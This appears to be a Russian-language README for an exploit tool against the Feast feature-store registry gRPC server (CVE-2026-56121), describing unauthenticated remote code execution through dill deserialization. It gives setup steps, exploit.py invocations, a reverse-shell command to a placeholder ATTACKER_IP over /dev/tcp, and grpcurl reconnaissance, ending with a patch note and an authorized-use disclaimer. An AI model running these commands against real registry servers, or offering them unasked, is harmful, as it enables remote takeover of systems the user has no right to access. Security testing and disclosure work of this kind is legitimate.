
Неаутентифицированный эксплойт RCE для gRPC-сервера реестра Feast (CVE-2026-56121) с использованием десериализации dill. Включает генерацию полезной нагрузки, поддержку reverse shell и идентификацию цели через gRPC reflection.
Неаутентифицированное удалённое выполнение кода в gRPC-сервере реестра хранилища признаков Feast.
RPC ApplyFeatureView пересобирает OnDemandFeatureView из proto-запроса. При этом он декодирует spec.user_defined_function.body из base64 и передаёт его в dill.loads() — до любой проверки авторизации. dill — надмножество pickle, поэтому объект, чей __reduce__ возвращает (os.system, (cmd,)), выполняет произвольную команду в тот момент, когда сервер его десериализует. В стандартном развёртывании используется , поэтому одного неаутентифицированного gRPC-запроса к порту реестра достаточно.
auth: no_auth< 0.63.00.63.06570 (gRPC реестра)Эксплойт переиспользует собственные сгенерированные gRPC-протофайлы Feast, поэтому установите уязвимую версию Feast на стороне атакующего:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# quick check (output appears on the SERVER, not locally)
python3 exploit.py 10.10.10.10:6570 -c "id"
# reverse shell (bash -c wrapper: os.system uses /bin/sh, which lacks /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project задаёт имя проекта (по умолчанию feature_repo). Вывод команды печатается в stdout/journal хоста реестра, поэтому используйте reverse shell или записывайте вывод в доступный для чтения путь, чтобы увидеть результаты.
В реестре включён gRPC reflection:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
Обновитесь до Feast 0.63.0+, включите бэкенд аутентификации и никогда не открывайте gRPC-порт реестра для недоверенных сетей.
Только для авторизованного тестирования безопасности и обучения. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.